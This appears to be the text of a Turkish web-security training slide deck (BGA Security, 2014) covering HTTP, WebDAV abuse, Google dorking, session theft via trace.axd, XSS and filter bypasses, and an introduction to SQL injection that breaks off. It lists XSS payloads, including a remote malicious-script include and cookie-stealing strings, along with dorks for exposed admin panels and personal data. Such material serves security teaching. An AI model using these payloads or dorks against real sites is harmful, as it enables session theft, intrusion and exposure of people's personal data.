SlideShare une entreprise Scribd logo
1  sur  202
@BGASecurity
BEYAZ ŞAPKALI HACKER EĞİTİMİ
BÖLÜMLER
X – XI – XII
- 2014-
@BGASecurity
BGA Bilgi Güvenliği A.Ş
BGA Security Hakkında
Siber güvenlik dünyasına yönelik, yenilikçi
profesyonel çözümleri ile katkıda bulunmak
amacı ile 2008 yılında kurulan BGA Bilgi
Güvenliği A.Ş. stratejik siber güvenlik
danışmanlığı ve güvenlik eğitimleri konularında
büyük ölçekli çok sayıda kuruma hizmet
vermektedir.
Gerçekleştirdiği vizyoner danışmanlık projeleri
ve nitelikli eğitimleri ile sektörde saygın bir yer
kazanan BGA Bilgi Güvenliği, kurulduğu günden
bugüne kadar alanında lider finans, enerji,
telekom ve kamu kuruluşları ile 1.000'den fazla
eğitim ve danışmanlık projelerine imza
atmıştır.
ARGE
EĞİTİM
MSSP
PENTEST
SOME / SOC
SECOPS
BGA | Hakkında
@BGASecurity
Web Uygulamalarında
Güvenlik
BÖLÜM - X
BGA | CEH
@BGASecurity
Bölüm Amacı
 Web uygulamalarının çalışma mantığı ve güvenlik açısından
incelenmesi
 Web uygulamalarına “hacker” bakışı
 Web uygulamalarına yönelik basit ama etkili saldırı tekniklerini
öğrenme
 Detay web uygulama güvenliği için:
 Web Application Pentest Eğitimi
BGA | CEH
@BGASecurity
Bölüm İçeriği
 Web uygulamaları ve HTTP
 Web uygulamaları güvenliği
 Web uygulama testlerinde bilgi toplama
 İstemci tarafı kontrollerin aşılması
 OWASP Top 10 güvenlik açıklığı
 SQLi, XSS, CSRF, ForcefulBrowsing, LFI/RFI ...
 Web uygulama güvenlik test araçları
 Web sunuculara yönelik DOS saldırıları
 WAF/IPS ve atlatma teknikleri
BGA | CEH
@BGASecurity
Web Uygulamaları
 WEB uygulamaları günümüzü ve geleceğimizi kuşatmış durumda:
 Müzik dinleme:last.fm, fizy.org
 Ofis Belgeleri için:Google Docs
 Resim işleme amaçlı:Google Picasa, flickr
 (A)Sosyal Hayat: Facebook, Friendfeed, twitter
 Alışveriş, Para işleri:Paypal.com, online alışveriş siteleri
 İletişim:E-posta->Webmail hizmetleri
 Yakın gelecekte web tabanlı işletim sistemleri kullanılmaya
başlanacak.
BGA | CEH
@BGASecurity
Web Uygulama Bileşenleri
 Statik sayfalar
 HTML
 Dinamik sayfalar
 CGI, ASP, PHP, Perl, Asp.net, JSP
 Veritabanı
 Mysql, MsSQL, Oracle, Sybase
 Web servisleri
 Kullanıcı browserları
Web uygulamalarında çıkan açıklar
sadece uygulamayı değil bağlı
bulunduğu ekosistemi de etkiler.
BGA | CEH
@BGASecurity
Web Uygulama Güvenliğinin Önemi
BGA | CEH
@BGASecurity
Web Uygulamalarının Güvensizliği
 Web uygulamalarında amaç herkese hizmet verebilmektir
 Uygulama geliştirme için bir standart henüz yerleşmediği için
yazılımı geliştirenler kolay hata yapabilir
 Web uygulamalarında yapılan hatalar daha fazla dikkat çeker ve
saldırıya açıktır
 Birilerinin sizi takip etmesine gerek yok
 Google üzerinden aramalarla sayfalarınız hacklenebilir
BGA | CEH
@BGASecurity
Web Uygulamalarının Güvensizliği-II
 Koruma amaçlı geliştirilen yazılımlar stabil değil
 Fazla müdahele ister(WAF sistemleri)
 Geliştirme aşamalarında güvenlik önemsenmiyor
 Kalite ve güvenlin en sonda gelir, öncelikli iş kısa sürede işlevsel bir
uygulamanın ortaya çıkması.
BGA | CEH
@BGASecurity
Kavramlar: Defacement
Defacement=web sayfasının giriş sayfasının değiştirilmesi
BGA | CEH
@BGASecurity
Defacement Arşivi: Zone-H
Birincilik
Türk’lerde...
BGA | CEH
@BGASecurity
Kavramlar: Hacking
 Web uygulamaları kullanılarak veri
çalma, sistemlere sızma şekli
 Daha fazla bilgi ve beceri ister
 Sadece web güvenliği değil,
Linux/Windows bilgisine de ihtiyaç
vardır
 Sonuçları daha maliyetli olur
Kevinmitnick.com
BGA | CEH
@BGASecurity
Kavramlar: Root’lama(Rooting)
 Web sunucudaki bri açıklıktan faydalanarak, Linux sistemlerde root olma
 Linux kernelindeki local privilege esc. Exploitleri kullanılır
BGA | CEH
@BGASecurity
Web Sitelerinin Güvenlik Bileşenleri
BGA | CEH
@BGASecurity
WEB Protokolü: HTTP
 HTTP(Hypertext Transfer Protocol, OSI modelinde uygulama
katmanında yer alan iletişim protokolüdür.
 Günümüzde zamanımızın çoğunu geçirdiğimiz, sanal dünyada
en sık kullanılan protokoldür. (%96 civarında)
BGA | CEH
@BGASecurity
HTTP Nasıl Çalışır?
 Http’nin istemci-sunucu mantığıyla
çalışan basit bir yapısı vardır:
 Önce TCP bağlantısı açılır
 kullanıcı istek(HTTP isteği) gönderir
 sunucu da buna uygun cevap döner
 TCP bağlantısı kapatılır.
 İstemci tarafından gönderilen istekler
birbirinden bağımsızdır ve normalde
her HTTP isteği için bir TCP bağlantısı
gerekir.
BGA | CEH
@BGASecurity
Http Başlık Bilgileri
 HTTP’de bağlantıyı yöneten başlık bilgileri ve bağlantının taşıdığı veri kısmı vardır
 HTTP başlık bilgisi istek ve cevaplarda farklı olabilir
 Host , User-Agent , Cookie , X-Forwarded-For , özel başlık bilgiler vs. gibi başlık
bilgileri testler esnasında incelenmesi gereken girdi noktalarıdır.
BGA | CEH
@BGASecurity
X-Forwarded-For Başlık Bilgisi
 HTTP üzerinden IP Spoofing(!)
 Bu başlık bilgisine göre izinli sistemlerin atlatılabilmesine olanak verecektir.
 Uygulamalarda IP kısıtlama özelliğinin atlatılabilmesi.
BGA | CEH
@BGASecurity
Referrer Başlık Bilgisi
 Bir linke hangi linkten gelindiğini belirten HTTP başlığı
 İstemci tarafından kontrol edilebildiği için güvensizdir,
değiştirilebilir
BGA | CEH
@BGASecurity
HTTP Metodları
 Web uygulamalarında, istemci sunucu arasında istek - cevap şeklinde bir iletişim
gerçekleştir.
 Http metodları sunucu tarafına yapılan isteğin amacını belirler:
 Sık kullanılan istek türleri:
 GET
 POST
 HEAD
 OPTIONS
 TRACE
 PUT
 DELETE
 CONNECT
 Bu istek türlerinin bir kısmı tehlikeli kullanıma sahiptir
BGA | CEH
@BGASecurity
HTTP GET İstek Tipi
 Hedef siteden ilgili dosyayı indirme/izleme amaçlı kullanılır.
 GET kullanılarak yapılan istekler sunucu loglarında gözükecektir.
 Browser tarafından önbelleğe alındığı için kullanıcı adı parola gibi hassas
bilgiler GET istekleri ile gönderilmemeli
 En fazla 7607 karekter olabilmektedir.
BGA | CEH
@BGASecurity
HTTP POST İstek tipi
 Taşıdığı parametreler web tarayıcıların geçmiş kısmında kaydedilmez.
 En fazla 8Mb olabilmektedir (değiştirilebilir)
 Sunucu loglarında gözükmez
 Modsecurity gibi bileşenlerle görülebilir
BGA | CEH
@BGASecurity
HTTP PUT İstek Tipi
 Hedef sisteme FTP
benzeri dosya yüklemek
için kullanılan metod.
 Genellikle tehlikeli bir
metod olduğu için açık
olmaz.
BGA | CEH
@BGASecurity
WebDAV
 WebDAV (Web-based Distributed Authoring and Versioning )
 Web üzerinden HTTP kullanılarak gerçekleştirilen dosya yönetim
standardıdır.
 HTTP 1.1 protokolüne bazı eklentiler ile web dizinlerini yazılabilir
hale getirir.
 Versiyon bilgilerini tutar.
 Paylaşımda bulunanlar için not v.s tutma imkanı sağlar.
25
BGA | CEH
@BGASecurity
WebDAV Denetimi
 HTTP kullanılarak Internet üzerinden gerçekleştirilen dosya
yönetim standardıdır.
 HTTP standardının belirlediği metotlara ek olarak;
 PROPFIND, PROPPATCH
 LOCK
 MOVE, COPY
 ...
BGA | CEH
@BGASecurity
WebDAV Denetimi
Sunucu üzerindeki dizinler WebDAV desteği için kontrol edilmelidir.
OPTIONS /webdav/ HTTP/1.0
HTTP/1.1 200 OK
Date: Fri, 12 Mar 2010 09:21:23 GMT
DAV: 1,2
DAV: <http://apache.org/dav/propset/fs/1>
Allow:OPTIONS,GET,POST,DELETE,PROPFIND,PROPPATCH
Content-Length: 0
BGA | CEH
@BGASecurity
WebDAV – Apache Yapılandırma
<Directory /var/www/webdav>
Options Indexes MultiViews
Order allow,deny
allow from all
</Directory>
Alias /webdav /var/www/webdav
<Location /webdav>
DAV On
</Location>
BGA | CEH
@BGASecurity
WebDAV – Apache Örnek
PROPFIND /webdav/ HTTP/1.0
Depth: 1
HTTP/1.1 207 Multi-Status
Date: Wed, 30 Jan 2013 08:33:33 GMT
Server: Apache/2.2.9 (Ubuntu) DAV/2 PHP/5.2.6-
2ubuntu4.5 Content-Type: text/xml; charset="utf-8"
<?xml version="1.0" encoding="utf-8"?>
<D:href>/webdav/</D:href>
<D:href>/webdav/pass.txt</D:href>
<D:href>/webdav/index.php</D:href>
...
BGA | CEH
@BGASecurity
Cadaver Webdav İstismar Aracı
 Unix için komut satırı WebDAV istemcisidir.
# cadaver http://localhost/webdav/
dav:/webdav/> pwd
dav:/webdav/> ls
index.php 0 Mar 12 2010
pass.txt 7 Mar 12 2010
dav:/webdav/> cat pass.txt
secret
dav:/webdav/>
BGA | CEH
@BGASecurity
DavTest
 DavTest, WebDAV açık hedefler üzerinde denetimler gerçekleştirir;
 PHP, ASP, JSP, CGI, TXT, ASPX v.b. dosya tiplerinin upload edilebilmesi,
 PHP, ASP, JSP, CGI, TXT, ASPX v.b. dosya tiplerine ait backdoor’ların upload edilip
denenmesi,
 Dosyaların zararsız formatta upload edilerek, sonra MOVE ile zararlı uzantılara
çevrilmesi
BGA | CEH
@BGASecurity
DavTest Örnek Kullanım
# ./davtest.pl -url http://localhost/webdav
./davtest.pl Summary:
Created: http://localhost/webdav/t
PUT File: http://localhost/webdav/t/7ks.php
PUT File: http://localhost/webdav/t/7ks.asp
Executes: http://localhost/webdav/t/7ks.php
Executes: http://localhost/webdav/t/7ks.html
Executes: http://localhost/webdav/t/7ks.txt
BGA | CEH
@BGASecurity
GHDB üzerinden Webdav Keşfi/İstismarı
 intitle:"Directory Listing For /" + inurl:webdav tomcat
 intitle:”index of" + inurl:webdav
 ./davtest.pl -url http://etc.tctc.edu:8008/webdav/
Testing DAV connection
OPEN SUCCEED:
http://etc.tctc.edu:8008/webdav
@BGASecurity
Web Uygulamalarında
Keşif Çalışmaları
BÖLÜM – XI
BGA | CEH
@BGASecurity
Web Sunucu Keşfi
 Amaç:Web sunucu ve üzerinde çalışan uygulamalar hakkında bilgi toplama
 Web sunucu/uygulama yazılımlarındaki açıklıkların bilinmesi exploitation
aşamasında yardımcı olur
 IIS 6’da çıkan açıklık, PHp 4.x sürümlerindeki açıklıklar
 Hangi işletim sistemi, hangi sürümü, hangi web sunucusu yazılımı, hangi
modüllerin kurulu olduğu vs bilgileri güvenlik testleri öncesi bulunmalıdır
 Sık kullanılan web sunucu keşif yazılımları
 Httprint, nmap –sV –p 80, Netcraft
BGA | CEH
@BGASecurity
Web Uygulama Sunucu Keşif Araçları
Netcraft.com
Nmap –sV bgabank.com –p 80
httprint
BGA | CEH
@BGASecurity
Web Uygulama Sürüm ve Eklenti Belirleme
http://www.morningstarsecurity.com/research/whatweb
BGA | CEH
@BGASecurity
Hata Mesajlarından Bilgi Toplama
 Web sayfalarının vereceği hata mesajlarından hangi uygulamaların kurulduğu, hangi
dizinlerin kullanıldığı, hangi işletim sistemine sahip olduğu gibi bilgiler alınabilir
 Web sunucu hataları(Apache, IIS)
 Uygulama sunucu hataları(php, asp)
 Bazı durumlarda hatalı yapılandırma nedeniyle veritabanı bağlantı bilgileri de elde
edilebilir.
 Web sunucu haricinde kurulu olan uygulamaya beklenmeyen türde istekler göndererek
hata durumları gözlemlenmelidir.
 Apache ve IIS gibi yoğun tercih edilen web sunucuları hata mesajlarını göstermeme
özelliğine sahiptir.
BGA | CEH
@BGASecurity
Trace.axd Üzerinden Oturum Alma – I
 Google üzerinden trace.axd bulmak için
filetype:axd inurl:Trace.axd?id=0
BGA | CEH
@BGASecurity
Trace.axd Üzerinden Oturum Alma – II
Elde edilen session_id değeri cookie manager ile browsera import edilerek
sistem üzerinde admin oturumu elde edilmiştir.
BGA | CEH
@BGASecurity
Trace.axd Üzerinden Oturum Alma – III
Session_Id değeri import edildikten sonra admin panele erişilmiştir.
BGA | CEH
@BGASecurity
Elmah.axd Üzerinden Oturum Alma
 site:fr filetype:axd elmah.axd
BGA | CEH
@BGASecurity
Robots.txt ile Hassas Dizin/Dosya Keşfi
Robots.txt üzerinden google tarafından indexlenmesi istenmeyen dizinler girilir. Bu
dosyaya erişilmesi durumunda hassas dizinler tespit edilebilir.
BGA | CEH
@BGASecurity
Google Hacking
 Google denetimler için bilgi toplama için kullanılan en popüler arama motorudur.
 Google’ın sağladığı ileri seviye arama yöntemleri kullanılarak yapılan güvenlik
aktivitelerine ise Google Hacking denmektedir.
BGA | CEH
@BGASecurity
Google Arama Anahtar Kelimeleri
domain name
daraltması
dosya tipi
daraltması
BGA | CEH
@BGASecurity
Google Zafiyet Arama - Örnek
 Açık phpmyadmin MYSQL yönetim arabirimleri
 Açık PhpNuke portal yönetim arabirimleri
intitle:phpMyAdmin "Welcome to phpMyAdmin" "running on * as root@*"
inurl:admin.php "There are no Administrators"
BGA | CEH
@BGASecurity
Google Zafiyet Arama - Örnek
Cisco VPN Hesap Dosyaları
1
2
3
4
BGA | CEH
@BGASecurity
Google Bilgi Toplama - Örnek
Hassas bilgiler toplamak için Google anahtar kelimeleri kullanılabilir;
filetype:xls filetype:pdf tc kimlik no “üye listesi”
filetype:pdf cep no “hasta listesi”
BGA | CEH
@BGASecurity
Alt Dizin / Dosya Keşfi
 Hedef sistem üzerinde unutulmuş, gereksiz olarak bırakılmış ya
da eksik/yanlış yapılandırma sonucu kalmış dosya/dizinleri
bulma
 Yüzlerce istek gönderip istekler için 302, 200 cevapları
dönüyorsa dizin/dosya var demektir.
 Özellikle yönetim sayfalarının bulunması için sık
kullanılır(/admin, /login.asp, yonet.php vs)
 Owasp Dirbuster, AdminFinder araçları
BGA | CEH
@BGASecurity
DirBuster
 Sadece crawl yapılarak bütün girdi noktalarının bulunması
mümkün değildir;
 gizlenmiş
 gösterilmek amacı ile oluşturulmamış
dizin/sayfalar sözlük ve kaba kuvvet denemeleri yardımı ile
bulunmalıdır.
 DirBuster; Multi-thread çalışabilen (hızlı) bir Java desktop
uygulamasıdır. Bir web uygulamasında gizlenmiş sayfaları,
dizinleri bulmaya çalışır.
BGA | CEH
@BGASecurity
DirBuster
Hedef URL
Denenecek
dizin/sayfa
listesi
Denenecek
sayfa
uzantısı
Hem dizinler
hem sayfalar
denenecek
Bulunan dizinlerde de
liste denenecek
Kullanılacak
thread
sayısı
BGA | CEH
@BGASecurity
Wfuzz - Fuzzing
 Subdomain tespiti için kullanılabilir
 Alt dizin tespiti için kullanılabilir
 IDOR istismarı için kullanılabilir.
 Teknik LFI,Sqli,XSS benzeri açıklıkların tespitinde kullanılabilir.
wfuzz -c --hc 404,XXX -z file,urls.txt -z file,common.txt
FUZZ/FUZ2Z
wfuzz -c --hc 404,XXX –z range,1-1000 –z
http://test.com/index.asp?id=FUZZ
BGA | CEH
@BGASecurity
Web Güvenlik Testi Araçları
 Web uygulama güvenliğinde sık kullanılan araçlar:
 Burp suite
 Owasp ZAP
 Firefox eklentileri (Live http header, tamper data ,firebug)
 Sqlmap , nmap , metasploit
 Otomatize test araçları (Netsparker,Acunetix,IBM
Appscan,W3af vs.)
BGA | CEH
@BGASecurity
Web Proxy Yazılımları
 Web uygulamaları testlerinin vazgeçilmez araçları
 Browser üzerinden yapılamayacak istekleri gerçekleştirmek veistemci
tarafında yapılan güvenliği(javascript, hidden fields)atlatmak için
kullanılır
 HTTP başlıklarına ait tüm değerler istenildiği gibi değiştirilebilir
 Paros, Burp Proxy, Web Scarab, Firefox HTTP Tamper
BGA | CEH
@BGASecurity
Firefox TamperData/LiveHeaders
 Güvenlik testlerinde firefox eklentileri kullanılabilir.
 Firecat (Firefox Extension Framework) incelenebilir.
Tamper Data
Live Headers
BGA | CEH
@BGASecurity
Owasp ZAP
Client server arasına girerek gelen giden istekleri görebilir, replay
edilebilir ve otomatize taramlar gerçekleştirilebilir.
BGA | CEH
@BGASecurity
Burpsuite Proxy
 Owasp zap benzeri bir web proxy aracıdır.
 Ticari sürümü de bulunmaktadır.
 Alternatiflerine göre daha esnek kullanıma sahiptir
BGA | CEH
@BGASecurity
FoxyProxy ile proxy ayarları
 Birden fazla profil oluşturularak farklı portlar üzerinde web proxy çalıştıma için hızlı
bir firefox eklentisi.
 Firefox proxyler araı geçiş yaparken her seferinde ayarlar menüsünde işlem
yapmaya gerek bıraktırmaz.
BGA | CEH
@BGASecurity
OWASP Top 10 Açıkları
Amacı: OWASP katılımcıları tarafından ilgili zaman dilimindeki en sık
karşılaşılan güvenlik açıklıklarının listesi
BGA | CEH
@BGASecurity
Girdi Denetimi
 Uygulama kullanmadan önce bütün güvensiz verilerin doğru bir
şekilde denetlenmesidir.
 Bir çok saldırı çeşidinin temelinde yetersiz girdi kontrolü vardır;
 Cross Site Scripting
 SQL Injection
 Remote / Local File Inclusion
 ...
BGA | CEH
@BGASecurity
1. Normalizasyon (Canonicalization)
 Bir dizginin en basit, en temel haline çevrilmesidir.
 Örnek, aşağıdaki iki yol aynı dosyayı işaret etmektedir;
/../../etc/passwd
/etc/passwd
 Karmaşık ve kritik bir işlemdir.
BGA | CEH
@BGASecurity
2. Beyaz Liste Girdi Denetimi
 Sadece iyi karakter veya karakter dizgilerinin kabul
edilmesidir.
 Güvenli ve tavsiye edilen girdi denetimidir.
 Örnekler;
 Kredi kartı girdi alanının geçerli kredi kartı numarası olup olmadığının
kontrolü
 Eposta adresi girdi alanının geçerli eposta olup olmadığının kontrolü
BGA | CEH
@BGASecurity
3. Kara Liste Girdi Denetimi
 Bilinen kötü karakter veya karakter dizgilerinin reddedilmesidir.
 Çok kullanılan ama güvensiz girdi denetimidir.
 Örnekler;
 <script> geçen girdilerin reddedilmesi
 or 1=1 -- geçen girdilerin reddedilmesi
BGA | CEH
@BGASecurity
4. Temizleme İşlemi (Sanitize)
 Girdinin kabul edilebilir bir formata çevrilmesidir.
 Beyaz liste mantığı ile sanitize
 Örn: Telefon numarası içinde geçen sayı, olmayan karakterlerin silinmesi
 Kara liste mantığı ile sanitize
 Örn: Adres girdisinin içindeki bütün tek tırnak karakterlerinin silinmesi
BGA | CEH
@BGASecurity
5. Encoding İşlemi
 Girdi içindeki özel karakterlerin başka bir formata değiştirilmesidir.
 Amaç, hedef yorumlayıcı için özel karakterlerin kodlama işlemi
sonrası önemlerini yitirmiş olmalarıdır.
 Örnek;
 HTML kodlama
 URL kodlama
BGA | CEH
@BGASecurity
6. Escape İşlemi
 Yorumlayıcıya gitmeden gerçekleştirilen karakter format
değişikliğidir.
 Çoğu durumda kodlama ile aynı anlamdadır.
 Örnek;
 Oracle veritabanında çalışacak SQL sorgularında tek tırnak
karakterlerinin iki tek tırnak ile değiştirilmesiyle, sorgu yapısının
değiştirilmesi engellenebilir.
BGA | CEH
@BGASecurity
XSS Nedir?
Browser
Uygulama
BGA | CEH
@BGASecurity
Cross Site Scripting - XSS
 Html/dhtml/css veya javascript kodunun izinsiz olarak
kurbanın tarayıcısında çalıştırılmasıdır.
 Üç genel XSS çeşidi mevcuttur;
 Reflected
 Stored
 DOM Based
BGA | CEH
@BGASecurity
Reflected XSS
 Saldırganın gönderdiği XSS payloadu veritabanında tutulmaz.
 İstismar edilebilmesi için kurbanın bir linke ziyaret etmesi gerekir. Sosyal
mühendislik gerektirir.
 Cookie bilgisi ile oturum çalma, kullanıcı browserinda yetkisiz kod çalıştırma vs.
 Blacklist/whitelist ve encoding yöntemleri ile engellenebilir.
BGA | CEH
@BGASecurity
Stored XSS
 Saldırganın hedef sunucuya gönderdiği zararlı script doğrudan
database kaydedilir. Ve bu kodun yansıtıldığı sayfaları ziyaret eden
kullanıcı browserinda bu kod çalşır.
 Linkedin üzerinde kullanıcı adı bölümünde XSS olsa (!)
 Kaydedilen datanın sayfaya döndürülmesi esnasında herhangi bir
decoding yöntemi kullanılmamasından kaynaklanır.
 Html encode az da olsa başarılı bir atlatma olabilir.
BGA | CEH
@BGASecurity
Stored XSS - II
 Reflected XSS göre daha tehlikeli ve istismarı kolaydır. Sosyal müh.
Yapmaya gerek yok.
 Worm tarzında saldırılar (kendisini her ziyaret edeni arkadaş olarak
ekleme vs.), zararlı bulaştırma, defacement vs. yapılabilir.
BGA | CEH
@BGASecurity
Stored XSS - Senaryo
BGA | CEH
@BGASecurity
DOM Based XSS
 Client tarafındaki yanlış yazılmış javascript’lerin sebep olduğu kullanıcı girdisini
doğrudan filtrelemeden alıp yorumlayan bölümlerde mevcuttur.
 Diğer XSS’lerde hata asp,aspx,php gibi sunucu tarafındaki kodlamadadır, DOM
based için bu client tarafındaki javascriptdedir.
 Reflected XSS oldukça benzer, istismarı için sosyal müh. Benzeri saldırılar yapmak
gerekir.
BGA | CEH
@BGASecurity
DOM Based XSS - Senaryo
BGA | CEH
@BGASecurity
XSS - MySpace Worm
BGA | CEH
@BGASecurity
XSS - MySpace Worm
BGA | CEH
@BGASecurity
XSS - MySpace Worm
BGA | CEH
@BGASecurity
XSS - MySpace Worm
BGA | CEH
@BGASecurity
XSS - Neden Olduğu Problemler
 Bilgi Hırsızlığı
 Oturum Korsanlığı
 Clipboard Veri Çalma, Tuş Yakalama, Ekran Çalma
 İçerik Değişikliği (Defacement)
 Geçmiş Tarama, Port Tarama
 Dahili IP Çalma, Web Spidering, XSS Botnet
 Açıklık Tarama, Worm
BGA | CEH
@BGASecurity
XSS - Temel Test Tekniği - Analiz
1. XSS için denetlenecek parametre belirlenir
2. Bu parametreye abcde gibi basit bir değer verilerek istek yapılır
3. Cevap içerisinde abcde nerelerde geçiyor hesaplanır.
 HTML
 HTML Attribute
 Javascript
 URL
BGA | CEH
@BGASecurity
XSS - Temel Test Tekniği - Test
1. Analiz sonucu parametre değeri olarak uygun payload gönderilir
2. Cevabın içinde payload aranır,
3. Bulunduğunda sayfa içinde payload uygun kodlama işleminden
geçirilmemiş ise XSS güvenlik zafiyetinden bahsedilir.
BGA | CEH
@BGASecurity
XSS - Payload 1 - Örnek
1
2
BGA | CEH
@BGASecurity
Örnek XSS Payloadları
 <script src="http://bga.com.tr/zararli.js">
 <SCript>alert(1);</SCript>
 <scr<script>ipt>alert(1)</scr<script>ipt>
 <a href=”http://www.google.com>tıkla</a>
 <a href=”javascript:alert(1)”>tıkla</a>
 <a href="rhainfosec.com" onmouseover=alert(1)>test</a>
BGA | CEH
@BGASecurity
Örnek XSS Paylodları - II
 <svg/onload=window.onerror=alert;throw/XSS/;//
 <iframe src=http://www.bga.com.tr/ width=500
height=600></iframe>
 "><body onmouseover=alert(/a3q/) bad=“
 " onmouseover=alert(/a3q/) bad=“
 "><body onload="alert(document.cookie)”>
 "><textarea><ScRiPt>prompt(961307)<ScRiPt></textarea>
BGA | CEH
@BGASecurity
Owasp Xenotix XSS Test Framework
• 1600’a yakın XSS payload’ı bünyesinde barındıran ve bunları elle/otomatik bir
şekilde hedef alanlarda (GET/POST) deneme imkanı sunan araç.
• Gelişmiş XSS istismar eklentilerine sahiptir.
BGA | CEH
@BGASecurity
Netsparker/Acunetix XSS Testleri
Acunetix ve Netsparker web güvenlik tarama yazılımlarının deneme
sürümleri (Netsparker icin Cummunity Edition bulunmaktadır) XSS
zafiyetlerini başarılı bir şekilde tespit edebilmektedir.
BGA | CEH
@BGASecurity
XSS Engelleme
 Girdi denetiminde pozitif güvenlik modeli uygulama
 Microsoft AntiXSS framework kullanımı
 Oturum çerezlerinde http-only özelliğinin aktif edilmesi
 HttpOnly olarak işaretlenmiş çerezler, istemci tarafındaki herhangi bir uygulama
tarafından erişilemezler. Bu durumda web uygulamasında XSS açığı bulunsa dahi
saldırganlar sizin çerez bilgilerinize erişemeyeceklerdir.
 Php.ini ‘den session.cookie_httponly=1
XSS Engelleme amaçlı OWASP kaynakları:
https://www.owasp.org/index.php/XSS_(Cross_Site_Scripting)_Prevention_Cheat_Sheet
BGA | CEH
@BGASecurity
XSS Payloads
 <script src="http://bga.com.tr/zararli.js">
 <SCript>alert(1);</SCript>
 <scr<script>ipt>alert(1)</scr<script>ipt>
 <a href=”http://www.google.com>tıkla</a>
 <a href=”javascript:alert(1)”>tıkla</a>
 <a href="rhainfosec.com" onmouseover=alert(1)>test</a>
BGA | CEH
@BGASecurity
XSS Paylods - II
 <svg/onload=window.onerror=alert;throw/XSS/;//
 <iframe src=http://www.bga.com.tr/ width=500 height=600></iframe>
 "><body onmouseover=alert(/a3q/) bad=“
 " onmouseover=alert(/a3q/) bad=“
 "><body onload="alert(document.cookie)”>
 "><textarea><ScRiPt>prompt(961307)<ScRiPt></textarea>
BGA | CEH
@BGASecurity
XSS için Güvenlik Sistemlerini Atlatma
 Script tag’i bloklanmış durumlarda
<SCript>alert(1)</SCript>
<scscriptript>alert(1)</scscriptript>
 Alert tag’I bloklanmış durumlarda
<script>prompt(1)</script>
<script>alalertert(document.cookie)</script>
BGA | CEH
@BGASecurity
XSS için Güvenlik Sistemlerini Atlatma
 Tag kapatmaya izin vermeyen yerler için. </script> engelliyorsa!
<img src=ab onerror=prompt(1)>
 < ve > bloklanmış yerlerde
“ onmouseover=prompt(1) ab=“
Girdinin aşağıdaki gibi bir alana(html attribute) set ediliyor olması
gerekiyor
<input type=text value=““ onmouseover=prompt(1) ab=“”>
BGA | CEH
@BGASecurity
XSS için Güvenlik Sistemlerini Atlatma
Tag açma için kullanılan < işaretinin izinli olduğu fakat >
işaretine izin verilmeyen yerlerde güvenlik sistemi
atlatma
<svg/onload=window.onerror=alert;throw/XSS/;//
BGA | CEH
@BGASecurity
Encoded XSS Paylodları ile Atlatma
 Url Encoding ve Html Encoding en sık kullanılan
encoding türleridir.
Payload: "><script>alert(1)</script>
URL Encoded:
%22%3E%3Cscript%3Ealert(1)%3C%2Fscript%3E
HTML Encoded:
&quot;&gt;&lt;script&gt;alert(1)&lt;/script&gt;
BGA | CEH
@BGASecurity
Double Encoded XSS Payloadları
 2 defa URL encode işlemine tabi tutma gibi.
 ASP.net uygulamalarda sıklıkla double encode paylodlar
iki kere decode edilbilmektedir.(Farklı yerlerde)
Payload: "><script>alert(1)</script>
Double URL Encoded Payload:
%2522%253E%253Cscript%253Ealert(1)%253C%252Fscript
%253E
@BGASecurity
İstemci Tabanlı
Korumaları Aşmak
BÖLÜM - XII
BGA | CEH
@BGASecurity
İstemci Tabanlı Korumaları Aşma
BGA | CEH
@BGASecurity
İstemci Tabanlı Koruma Politikaları
 Kullanıcı sayfaları gezerken bazı formlarda istemci taraflı
kontroller yapılabilir
 İstemci taraflı kontroller istisnasız değiştirilebilir
 Sık karşılaşılan istemci taraflı koruma örnekleri
 Javascript ile yapılan koruma deneyimleri
▪ Login ekranlarında karekter/boyut kontrolü
 Flash uygulamalarında yapılan kontroller ve korumalar
 Kişisel proxyler kullanılarak istemci ile sunucu arasına
girerek değerler değiştirilebilir.
BGA | CEH
@BGASecurity
Hidden/Gizli Form Elemanları
 HTML tag!ı
 Kullanıcıya göstermeden kod üzerinden bazı işlemleri yapma
 Sunucu tarafında hesaplanması gereken değerler hidden
alanlarda saklanırsa rahatlıkla değiştirilebilir
 Kesinlikle bir değer saklama amaçlı kullanılmamalı!
BGA | CEH
@BGASecurity
Hidden Form Örnek:Adım1
BGA | CEH
@BGASecurity
Hidden Form Örnek: Adım 2
BGA | CEH
@BGASecurity
Javascript Korumalarını Aşma
 Javascript tamamen istemci tarafında(browser) çalışır
 Javascript kullanılarak yapılacak engellemeler, önlemler
kişisel proxyler ve Firefox pluginleri kullanılarak (Tamper
Data) değiştirilebilir
BGA | CEH
@BGASecurity
User-Agent Kontrolünü Aşma
EFT Ücreti:2.5TL
WAP üzerinden yapılan EFT’lerde ücret
alınmıyor.
Firefox plugini kullanarak User-Agent
mobil cihaz gibi gösterilipWAP
sayfasından ücretsiz EFT işlemi yapılabilir
Nasıl engellenebilir?
BGA | CEH
@BGASecurity
SQL Injection Nedir?
 SQL Injection;
 Saldırganlar için en popüler,
 Geliştiriciler için en bilindik,
 İş sahipleri için en tehlikeli
 Hedef veritabanında uygulama yolu ile yetkisiz
olarak sql sorgularının çalıştırılabilmesidir.
BGA | CEH
@BGASecurity
Gerçek Hayattan SQL Injection Örnekleri
BGA | CEH
@BGASecurity
SQL Injection Haberleri
BGA | CEH
@BGASecurity
SQL Injection Kullanarak Neler Yapılabilir?
 Hedef uygulamadaki veritabanı kullanıcısının yetkilerine göre
aşağıdaki işlemler gerçekleştirilebilir:
 İşletim sisteminden dosya okunabilir
 İşletim sistemine yeni bir dosya eklenip değiştirilebilir
 Veritabanı tablo ve diğer detay bilgiler elde edilebilir
 İşletim sisteminde komut çalıştırılabilir
 Login panelindeki user/pass doğrulama aşaması atlatılabilir.
BGA | CEH
@BGASecurity
Temel SQL Bilgisi
 SQL Injection zafiyetlerinin %1’i Web, %99’u SQL bilgisi
gerektirmektedir.
 Açıklığı bulmak ve bulduktan sonra istismar etmek tamamen
SQL bilgisi ile doğru orantılıdır.
 Birden fazla SQL programında uzman olmak zordur, bunun
yerine Sqlmap gibi bu işleri bünyesinde barındıran yazılımlar
kullanılabilir.
BGA | CEH
@BGASecurity
Structured Query Language - SQL
 Veritabanı sorgulama ve işlem yapma dilidir.
 Üç sorgu sınıfı bulunmaktadır;
 DDL, Data Definitin Language
▪ Create, Alter, Drop, Truncate
 DML, Data Manipulation Language
▪ Select, Insert, Update, Delete
 DCL, Data Control Language
▪ Grant, Revoke
BGA | CEH
@BGASecurity
SQL - Fonksiyonlar
 VERSION
 Veritabanı versiyon bilgisi
 DISTINCT
 Kayıtların unique olarak çekilmesi
 ASCII
 Ascii ondalık değerinin çekilmesi
 MID
